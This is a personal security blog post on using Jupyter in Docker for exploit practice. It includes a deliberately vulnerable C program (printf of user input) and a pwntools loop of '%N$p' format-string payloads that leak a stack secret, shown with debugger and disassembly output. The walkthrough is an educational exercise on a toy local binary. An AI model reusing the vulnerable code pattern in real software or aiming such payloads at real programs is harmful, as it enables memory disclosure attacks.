I’ve been tripping with Jupyter a lot lately. I love that it’s both a markdown editor and a live python code prompt, and I’ve been working on making the most out of it. So far, I’ve mostly used it to document my capture-the-flag challenges, but I think that in the long term it could serve as a collaborative reporting and pentesting tool. I’ve still got a long way to go until that happens, but in the meantime I thought I’d collect my thoughts in blog post form :)
Installing jupyter
The beautiful thing about jupyter is that it runs on python. If you have python running, launching python -m pip install jupyter
will be enough to get you going. Simple, right? Yeah, too simple for me. Boring. This why I decided that I wanted to get my jupyter notebook running in a docker \_(^.^)_/
. Seriously, though, running jupyter in a docker makes it portable across operating systems, and keeps it clean and independent from your host’s installation. Also, it’s a web application… that can access your file system and allow you to run code on it. A modicum of isolation is in order here.
I have two files: a Dockerfile for setting up my docker image, and a Makefile for building, running and stopping and starting my container.
Here’s the Dockerfile:
FROM ubuntu
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install -y python3 python3-pip python python-pip radare2 build-essential
RUN python3 -m pip install ipython jupyter
RUN python -m pip install pwntools r2pipe pwntools-dbg-r2 ipython jupyter
RUN useradd -ms /bin/bash jupyter
USER jupyter
WORKDIR /notebook
A couple of notes, here: first, you’ll notice I’m installing python 2 and 3, along with the jupyter packages for both. The order of installation is important - first python3, then python2. I’m installing python 2 here because I want to use pwntools, but I also want python 3 up and running because it’s 2019 and python 2 will eventually go the way of the dodo. Second, you could just install python3
, python3-pip
and run a nice, clean jupyter notebook that doesn’t have all this additional stuff I’ve shoved into my docker. However, I want this extra stuff because I’m interested in using jupyter for pwnage! Last but not least: I create a non-root user for my docker called jupyter
. If someone manages to gain access to my notebook, then they’re a bit more limited with regards to the damage they could do.
Here’s the Makefile:
docker:
docker build -t jupyter .
docker-run:
docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name jupyter-notebook -p 127.0.0.1:8888:8888 -v /home/inf0junki3/notebook:/notebook -it jupyter jupyter notebook --ip 0.0.0.0
docker-start:
docker start jupyter-notebook
docker-stop:
docker stop jupyter-notebook
You’ll notice that my docker-run
task forwards my container’s port 8888 to my loopback address at port 8888. It also maps a local directory, /home/myuser/notebook
, to the /notebook
directory on the container. Anything I write in my notebook gets saved on my host system - so I can delete my docker, update it, tweak it, recreate it, and what have you without losing my notebooks. In fact… As I write this (in jupyter) I keep stopping my container, tweaking it and rebuilding it. A bit tedious, like anything repetitive is bound to be - but otherwise easy and with no data loss. One quick last thing to point out here: you need the --cap-add=SYS_PTRACE --security-opt seccomp=unconfined
portion to allow debugging in the container; in principle this should be OK… But I’ll admit that I still have a lot to learn about docker security. My current thinking is that the container is running with a non-privileged user, and that the pid namespace is different than the host’s namespace.
Your first jupyter pwn
Jupyter can execute python out-of-the box. For example:
import pip
pip.main(["install", "requests"])
import requests
response = requests.get("https://heapspray.io/vnc-passwords.html")
print(response.text)
Collecting requests
Using cached https://files.pythonhosted.org/packages/7d/e3/20f3d364d6c8e5d2353c72a67778eb189176f08e873c9900e10c0287b84b/requests-2.21.0-py2.py3-none-any.whl
Collecting urllib3<1.25,>=1.21.1 (from requests)
Using cached https://files.pythonhosted.org/packages/62/00/ee1d7de624db8ba7090d1226aebefab96a2c71cd5cfa7629d6ad3f61b79e/urllib3-1.24.1-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests)
Using cached https://files.pythonhosted.org/packages/60/75/f692a584e85b7eaba0e03827b3d51f45f571c2e793dd731e598828d380aa/certifi-2019.3.9-py2.py3-none-any.whl
Collecting chardet<3.1.0,>=3.0.2 (from requests)
Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl
Collecting idna<2.9,>=2.5 (from requests)
Using cached https://files.pythonhosted.org/packages/14/2c/cd551d81dbe15200be1cf41cd03869a46fe7226e7450af7a6545bfc474c9/idna-2.8-py2.py3-none-any.whl
Installing collected packages: urllib3, certifi, chardet, idna, requests
Successfully installed certifi-2019.3.9 chardet-3.0.4 idna-2.8 requests-2.21.0 urllib3-1.24.1
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>VNC passwords</title>
<link rel="stylesheet" href="/theme/css/main.css" />
<!--[if IE]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body id="index" class="home">
<header id="banner" class="body">
<h1><a href="/">heapspray.io - a plethora of infosec garbage. </a></h1>
<nav><ul>
</ul>
</nav>
</header><!-- /#banner -->
<section id="content" class="body">
<article>
<header>
<h1 class="entry-title">
<a href="/vnc-passwords.html" rel="bookmark"
title="Permalink to VNC passwords">VNC passwords</a></h1>
</header>
<div class="entry-content">
<footer class="post-info">
<span>Wed 12 March 2014</span>
</footer><!-- /.post-info --> <p>We like to think of VNC passwords as encrypted; but when you consider
that they're encrypted using DES (a weak encryption algorithm) with a
key that is hardcoded... Well... That pretty much makes VNC
passwords <em>encoded</em> and not <em>encrypted</em>. There are a few VNC
password revealers out there, such
as <a class="reference external" href="https://github.com/jeroennijhof/vncpwd">vncpwd</a> or <a class="reference external" href="http://www.nirsoft.net/utils/vnc_password.html">VNCPassView</a>,
the former can be used in Linux and the latter in Windows. A
prerequisite to using these is that you have access to the VNC passwd
file and/or registry. Other tools exist to snarf the VNC password out of
network captures.</p>
</div><!-- /.entry-content -->
</article>
</section>
<section id="extras" class="body">
<div class="blogroll">
<h2>blogroll</h2>
<ul>
<li><a href="https://deadc0de.re/">deadc0de.re</a></li>
<li><a href="https://0xabe.io/">0xabe.io</a></li>
<li><a href="https://www.freeture.ch/">freeture.ch</a></li>
<li><a href="https://rolinh.ch/">rolinh.ch</a></li>
</ul>
</div><!-- /.blogroll -->
<div class="social">
<h2>social</h2>
<ul>
<li><a href="https://twitter.com/Inf0Junki3">Twitter</a></li>
<li><a href="https://delicious.com/redparanoid">Delicious</a></li>
</ul>
</div><!-- /.social -->
</section><!-- /#extras -->
<footer id="contentinfo" class="body">
<p>Powered by <a href="http://getpelican.com/">Pelican</a>. Theme <a href="https://github.com/blueicefield/pelican-blueidea/">blueidea</a>, inspired by the default theme.</p>
</footer><!-- /#contentinfo -->
</body>
</html>
See what I did, there? I actually installed a python module, requests, via pip
and then used it! Cool. In this manner, you could pretty much install any pre-requisites you need in your docker on-the-fly, and use it for your pwns. There is one caveat: for packages that require a terminal (such as pwntools), you do have to specify environment variables at least once in the notebook before you use them:
%env TERMINFO=/usr/share/terminfo
%env PWNLIB_NOTERM=true
from pwn import *
import r2pipe
env: TERMINFO=/usr/share/terminfo
env: PWNLIB_NOTERM=true
Now, you should be able to use pwntools to your heart’s content.
Prepping pwnable code
Let’s take a look at an example, now. I lifted this code off of a site called geeksforgeeks:
VULNERABLE_CODE = """
// A simple C program with format
// string vulnerability
#include<stdio.h>
int main(int argc, char** argv)
{
char secret[7] = "penguin";
char buffer[100];
strncpy(buffer, argv[1], 100);
// We are passing command line
// argument to printf
printf(buffer);
return 0;
}
"""
Didn’t look at the solution, because I wanted to solve this from jupyter. Let’s compile this:
with open("vulnerable.c", "w") as vulnerable_file:
vulnerable_file.write(VULNERABLE_CODE)
import os
os.system("gcc vulnerable.c -o vulnerable -no-pie")
print(os.path.exists("vulnerable"))
True
Running r2pipe
Let’s see how this loads up, now. I’m going to tell r2 to open vulnerable
in debug mode:
r2 = r2pipe.open("vulnerable", flags = ["-d", "-e", "scr.color=true"])
r2.cmd("aaaa")
r2.cmd("doo aaaabbbbccccdddd")
print(r2.cmd("iy"))
print(r2.cmd("is"))
print(r2.cmd("pdf @ main"))
blksz 0x0
block 0x100
fd 5
file /home/inf0junki3/notebook/research/blog_posts/vulnerable
format elf64
iorw true
mode -rwx
referer dbg:///home/inf0junki3/notebook/research/blog_posts/vulnerable aaaabbbbccccdddd
type EXEC (Executable file)
arch x86
binsz 6492
bintype elf
bits 64
canary true
class ELF64
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
static false
stripped false
subsys linux
va true
[Symbols]
027 0x00000500 0x00400500 LOCAL FUNC 0 deregister_tm_clones
028 0x00000530 0x00400530 LOCAL FUNC 0 register_tm_clones
029 0x00000570 0x00400570 LOCAL FUNC 0 __do_global_dtors_aux
030 0x00001040 0x00601040 LOCAL OBJECT 1 completed.7697
031 0x00000e18 0x00600e18 LOCAL OBJECT 0 __do_global_dtors_aux_fini_array_entry
032 0x000005a0 0x004005a0 LOCAL FUNC 0 frame_dummy
033 0x00000e10 0x00600e10 LOCAL OBJECT 0 __frame_dummy_init_array_entry
036 0x000007ec 0x004007ec LOCAL OBJECT 0 __FRAME_END__
038 0x00000e18 0x00600e18 LOCAL NOTYPE 0 __init_array_end
039 0x00000e20 0x00600e20 LOCAL OBJECT 0 _DYNAMIC
040 0x00000e10 0x00600e10 LOCAL NOTYPE 0 __init_array_start
041 0x000006b4 0x004006b4 LOCAL NOTYPE 0 __GNU_EH_FRAME_HDR
042 0x00001000 0x00601000 LOCAL OBJECT 0 _GLOBAL_OFFSET_TABLE_
043 0x000006a0 0x004006a0 GLOBAL FUNC 2 __libc_csu_fini
045 0x00001030 0x00601030 WEAK NOTYPE 0 data_start
046 0x00001040 0x00601040 GLOBAL NOTYPE 0 _edata
047 0x000006a4 0x004006a4 GLOBAL FUNC 0 _fini
051 0x00001030 0x00601030 GLOBAL NOTYPE 0 __data_start
053 0x00001038 0x00601038 GLOBAL OBJECT 0 __dso_handle
054 0x000006b0 0x004006b0 GLOBAL OBJECT 4 _IO_stdin_used
055 0x00000630 0x00400630 GLOBAL FUNC 101 __libc_csu_init
056 0x00601048 0x00601048 GLOBAL NOTYPE 0 _end
057 0x000004f0 0x004004f0 GLOBAL FUNC 2 _dl_relocate_static_pie
058 0x000004c0 0x004004c0 GLOBAL FUNC 43 _start
059 0x00001040 0x00601040 GLOBAL NOTYPE 0 __bss_start
060 0x000005a7 0x004005a7 GLOBAL FUNC 134 main
061 0x00001040 0x00601040 GLOBAL OBJECT 0 __TMC_END__
062 0x00000460 0x00400460 GLOBAL FUNC 0 _init
001 0x00000490 0x00400490 GLOBAL FUNC 16 imp.strncpy
002 0x000004a0 0x004004a0 GLOBAL FUNC 16 imp.__stack_chk_fail
003 0x000004b0 0x004004b0 GLOBAL FUNC 16 imp.printf
004 0x00000000 0x00400000 GLOBAL FUNC 16 imp.__libc_start_main
005 0x00000000 0x00400000 WEAK NOTYPE 16 imp.__gmon_start__
004 0x00000000 0x00400000 GLOBAL FUNC 16 imp.__libc_start_main
005 0x00000000 0x00400000 WEAK NOTYPE 16 imp.__gmon_start__
;-- main:
/ (fcn) sym.main 134
| sym.main ();
| ; var int local_90h @ rbp-0x90
| ; var int local_84h @ rbp-0x84
| ; var int local_77h @ rbp-0x77
| ; var int local_73h @ rbp-0x73
| ; var int local_71h @ rbp-0x71
| ; var int local_70h @ rbp-0x70
| ; var int local_8h @ rbp-0x8
| ; DATA XREF from 0x004004dd (entry0)
| 0x004005a7 55 push rbp
| 0x004005a8 4889e5 mov rbp, rsp
| 0x004005ab 4881ec900000. sub rsp, 0x90
| 0x004005b2 89bd7cffffff mov dword [local_84h], edi
| 0x004005b8 4889b570ffff. mov qword [local_90h], rsi
| 0x004005bf 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x004005c8 488945f8 mov qword [local_8h], rax
| 0x004005cc 31c0 xor eax, eax
| 0x004005ce c7458970656e. mov dword [local_77h], 0x676e6570
| 0x004005d5 66c7458d7569 mov word [local_73h], 0x6975
| 0x004005db c6458f6e mov byte [local_71h], 0x6e ; 'n' ; 110
| 0x004005df 488b8570ffff. mov rax, qword [local_90h]
| 0x004005e6 4883c008 add rax, 8
| 0x004005ea 488b08 mov rcx, qword [rax]
| 0x004005ed 488d4590 lea rax, qword [local_70h]
| 0x004005f1 ba64000000 mov edx, 0x64 ; 'd' ; 100 ; size_t n
| 0x004005f6 4889ce mov rsi, rcx ; const char * src
| 0x004005f9 4889c7 mov rdi, rax ; char *dest
| 0x004005fc e88ffeffff call sym.imp.strncpy ; char *strncpy(char *dest, const char *src, size_t n)
| 0x00400601 488d4590 lea rax, qword [local_70h]
| 0x00400605 4889c7 mov rdi, rax ; const char * format
| 0x00400608 b800000000 mov eax, 0
| 0x0040060d e89efeffff call sym.imp.printf ; int printf(const char *format)
| 0x00400612 b800000000 mov eax, 0
| 0x00400617 488b55f8 mov rdx, qword [local_8h]
| 0x0040061b 644833142528. xor rdx, qword fs:[0x28]
| ,=< 0x00400624 7405 je 0x40062b
| | 0x00400626 e875feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x0040062b c9 leave
\ 0x0040062c c3 ret
One should note here that on my physical host I had r2dec running as well, which allowed me to decompile the code with pdd @ main
. Sadly, this doesn’t work in my docker setup. Why? Because the current version of the radare2 package in the apt repository appears to be behind the packages set up with r2pm - so r2dec fails to compile. One way of addressing this is to get the latest version of radare2 - there are even nifty instructions on how to do this here: http://radare.today/posts/getting-the-latest-radare2/. But I’m happy to look at the disassembly for now; the r2dec decompiler does not bring all that much when compared to Ida Pro’s decompiler or ghidra’s. Maybe one day I’ll change my mind.
As an argument, I specified “aaaabbbbccccdddd”. I want to leak the secret here, which is “penguin”. I want to break right after printf and then show the stack:
r2.cmd("db 0x0040060d")
r2.cmd("dcu main")
r2.cmd("dc")
u''
To dump the same kind of information that I would see in Radare2’s visual mode, I’d use something like this:
print(r2.cmd("px @ rsp"))
print(r2.cmd("dr"))
print(r2.cmd("pd"))
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffcf638f620 98f7 38f6 fc7f 0000 1057 43c1 0200 0000 ..8......WC.....
0x7ffcf638f630 0000 0000 0000 0000 0070 656e 6775 696e .........penguin
0x7ffcf638f640 6161 6161 6262 6262 6363 6363 6464 6464 aaaabbbbccccdddd
0x7ffcf638f650 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f660 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f670 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f680 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f690 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f6a0 0000 0000 fc7f 0000 00dc 7cdd 009c 645a ..........|...dZ
0x7ffcf638f6b0 3006 4000 0000 0000 97cb e3c0 3b7f 0000 0.@.........;...
0x7ffcf638f6c0 0200 0000 0000 0000 98f7 38f6 fc7f 0000 ..........8.....
0x7ffcf638f6d0 0080 0000 0200 0000 a705 4000 0000 0000 ..........@.....
0x7ffcf638f6e0 0000 0000 0000 0000 0003 f09f 5110 ec2b ............Q..+
0x7ffcf638f6f0 c004 4000 0000 0000 90f7 38f6 fc7f 0000 [email protected].....
0x7ffcf638f700 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f710 0003 107e a0fc 15d4 0003 0e05 1691 9bd5 ...~............
rax = 0x00000000
rbx = 0x00000000
rcx = 0x7f3bc0ed28a0
rdx = 0x00000000
r8 = 0x00000004
r9 = 0x7f3bc1207d80
r10 = 0x00000003
r11 = 0x7f3bc0fca550
r12 = 0x004004c0
r13 = 0x7ffcf638f790
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x00000001
rdi = 0x7ffcf638f640
rsp = 0x7ffcf638f620
rbp = 0x7ffcf638f6b0
rip = 0x0040060d
rflags = 0x00000203
orax = 0xffffffffffffffff
| ;-- rip:
| 0x0040060d b e89efeffff call sym.imp.printf ; int printf(const char *format)
| 0x00400612 b800000000 mov eax, 0
| 0x00400617 488b55f8 mov rdx, qword [local_8h]
| 0x0040061b 644833142528. xor rdx, qword fs:[0x28]
| ,=< 0x00400624 7405 je 0x40062b
| | 0x00400626 e875feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x0040062b c9 leave
\ 0x0040062c c3 ret
0x0040062d 0f1f00 nop dword [rax]
/ (fcn) sym.__libc_csu_init 101
| sym.__libc_csu_init ();
| ; DATA XREF from 0x004004d6 (entry0)
| 0x00400630 4157 push r15
| 0x00400632 4156 push r14
| 0x00400634 4989d7 mov r15, rdx
| 0x00400637 4155 push r13
| 0x00400639 4154 push r12
| 0x0040063b 4c8d25ce0720. lea r12, qword obj.__frame_dummy_init_array_entry ; loc.__init_array_start ; 0x600e10
| 0x00400642 55 push rbp
| 0x00400643 488d2dce0720. lea rbp, qword obj.__do_global_dtors_aux_fini_array_entry ; loc.__init_array_end ; 0x600e18 ; "p\x05@"
| 0x0040064a 53 push rbx
| 0x0040064b 4189fd mov r13d, edi
| 0x0040064e 4989f6 mov r14, rsi
| 0x00400651 4c29e5 sub rbp, r12
| 0x00400654 4883ec08 sub rsp, 8
| 0x00400658 48c1fd03 sar rbp, 3
| 0x0040065c e8fffdffff call sym._init
| 0x00400661 4885ed test rbp, rbp
| ,=< 0x00400664 7420 je 0x400686
| | 0x00400666 31db xor ebx, ebx
| | 0x00400668 0f1f84000000. nop dword [rax + rax]
| .--> 0x00400670 4c89fa mov rdx, r15
| :| 0x00400673 4c89f6 mov rsi, r14
| :| 0x00400676 4489ef mov edi, r13d
| :| 0x00400679 41ff14dc call qword [r12 + rbx*8]
| :| 0x0040067d 4883c301 add rbx, 1
| :| 0x00400681 4839dd cmp rbp, rbx
| `==< 0x00400684 75ea jne 0x400670
| `-> 0x00400686 4883c408 add rsp, 8
| 0x0040068a 5b pop rbx
| 0x0040068b 5d pop rbp
| 0x0040068c 415c pop r12
| 0x0040068e 415d pop r13
| 0x00400690 415e pop r14
| 0x00400692 415f pop r15
\ 0x00400694 c3 ret
0x00400695 90 nop
0x00400696 662e0f1f8400. nop word cs:[rax + rax]
/ (fcn) sym.__libc_csu_fini 2
| sym.__libc_csu_fini ();
| ; DATA XREF from 0x004004cf (entry0)
\ 0x004006a0 f3c3 ret
;-- section_end..text:
0x004006a2 0000 add byte [rax], al
| ;-- section..fini:
/ (fcn) sym._fini 9
| sym._fini ();
| 0x004006a4 4883ec08 sub rsp, 8 ; [14] --r-x section size 9 named .fini
| 0x004006a8 4883c408 add rsp, 8
\ 0x004006ac c3 ret
;-- section_end..fini:
0x004006ad 0000 add byte [rax], al
0x004006af ~ 0001 add byte [rcx], al
;-- section..rodata:
;-- _IO_stdin_used:
0x004006b0 0100 add dword [rax], eax ; [15] --r-- section size 4 named .rodata
0x004006b2 0200 add al, byte [rax]
;-- section_end..rodata:
;-- section..eh_frame_hdr:
;-- section.GNU_EH_FRAME:
;-- __GNU_EH_FRAME_HDR:
0x004006b4 011b add dword [rbx], ebx ; [35] m-r-- section size 60 named GNU_EH_FRAME
0x004006b6 033b add edi, dword [rbx]
0x004006b8 3800 cmp byte [rax], al ; [0x2:1]=255 ; 2
0x004006ba 0000 add byte [rax], al
0x004006bc 06 invalid
0x004006bd 0000 add byte [rax], al
0x004006bf 00cc add ah, cl
0x004006c1 fd std
0x004006c2 ff invalid
0x004006c3 ff940000000c. call qword [rax + rax - 0x1f40000]
Looking at the output from above, the secret is at 0x7ffcf638f639 while the rsp is at 0x7ffcf638f620. With the format string bug, if we read 32 bytes off the stack the last 8 will correspond to our secret.
print(r2.cmd("px @ rsp+24"))
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7ffcf638f638 0070 656e 6775 696e 6161 6161 6262 6262 .penguinaaaabbbb
0x7ffcf638f648 6363 6363 6464 6464 0000 0000 0000 0000 ccccdddd........
0x7ffcf638f658 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f668 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f678 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f688 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x7ffcf638f698 0000 0000 0000 0000 0000 0000 fc7f 0000 ................
0x7ffcf638f6a8 00dc 7cdd 009c 645a 3006 4000 0000 0000 ..|...dZ0.@.....
0x7ffcf638f6b8 97cb e3c0 3b7f 0000 0200 0000 0000 0000 ....;...........
0x7ffcf638f6c8 98f7 38f6 fc7f 0000 0080 0000 0200 0000 ..8.............
0x7ffcf638f6d8 a705 4000 0000 0000 0000 0000 0000 0000 ..@.............
0x7ffcf638f6e8 0003 f09f 5110 ec2b c004 4000 0000 0000 ....Q..+..@.....
0x7ffcf638f6f8 90f7 38f6 fc7f 0000 0000 0000 0000 0000 ..8.............
0x7ffcf638f708 0000 0000 0000 0000 0003 107e a0fc 15d4 ...........~....
0x7ffcf638f718 0003 0e05 1691 9bd5 0000 0000 fc7f 0000 ................
0x7ffcf638f728 0000 0000 0000 0000 0000 0000 0000 0000 ................
Ooooo, OK so we see our secret, “penguin”, is on the stack. Next, I iterate across my parameters using %i$p
, where “i” is the index of my parameter. Once I hit the 9th parameter, I find my secret:
from pwn import *
import binascii
for i in range(1,10):
cur_process = process(["./vulnerable", "%{}$p".format(i)])
output = cur_process.recv(1024)
try:
print("{}: {}".format(i, binascii.unhexlify(output.replace("0x", ""))))
except Exception:
print("{} skipped...".format(i))
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 222
Starting local process './vulnerable': pid 222
[*] Process './vulnerable' stopped with exit code 0 (pid 222)
Process './vulnerable' stopped with exit code 0 (pid 222)
1 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 223
Starting local process './vulnerable': pid 223
[*] Process './vulnerable' stopped with exit code 0 (pid 223)
Process './vulnerable' stopped with exit code 0 (pid 223)
2 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 224
Starting local process './vulnerable': pid 224
[*] Process './vulnerable' stopped with exit code 0 (pid 224)
Process './vulnerable' stopped with exit code 0 (pid 224)
3: t�a8�
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 225
Starting local process './vulnerable': pid 225
[*] Process './vulnerable' stopped with exit code 0 (pid 225)
Process './vulnerable' stopped with exit code 0 (pid 225)
4 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 226
Starting local process './vulnerable': pid 226
[*] Process './vulnerable' stopped with exit code 0 (pid 226)
Process './vulnerable' stopped with exit code 0 (pid 226)
5: ��=�
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 227
Starting local process './vulnerable': pid 227
[*] Process './vulnerable' stopped with exit code 0 (pid 227)
Process './vulnerable' stopped with exit code 0 (pid 227)
6: �gn�H
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 228
Starting local process './vulnerable': pid 228
[*] Process './vulnerable' stopped with exit code 0 (pid 228)
Process './vulnerable' stopped with exit code 0 (pid 228)
7 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 229
Starting local process './vulnerable': pid 229
[*] Process './vulnerable' stopped with exit code 0 (pid 229)
Process './vulnerable' stopped with exit code 0 (pid 229)
8 skipped...
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 230
Starting local process './vulnerable': pid 230
[*] Process './vulnerable' stopped with exit code 0 (pid 230)
Process './vulnerable' stopped with exit code 0 (pid 230)
9: niugnep
Now we have the secret - we need to unjumble it!
cur_process = process(["./vulnerable", "%9$p"])
jumbled = binascii.unhexlify(cur_process.recv(1024).replace("0x", ""))
ordered = []
for i in range(len(jumbled) / 4):
start = i * 4
end = start + 4
ordered.append(jumbled[start:end][::-1])
print("".join(ordered[::-1]))
[x] Starting local process './vulnerable'
Starting local process './vulnerable'
[+] Starting local process './vulnerable': pid 231
Starting local process './vulnerable': pid 231
[*] Process './vulnerable' stopped with exit code 0 (pid 231)
Process './vulnerable' stopped with exit code 0 (pid 231)
penguin
If you’re interested in seeing how this works, I have attached my jupyter notebook here. It is relatively easy to check for nastiness before you run it (which is a good thing… >.>). If you do run it, remember that upon compilation your memory offsets will be different!
Happy hunting!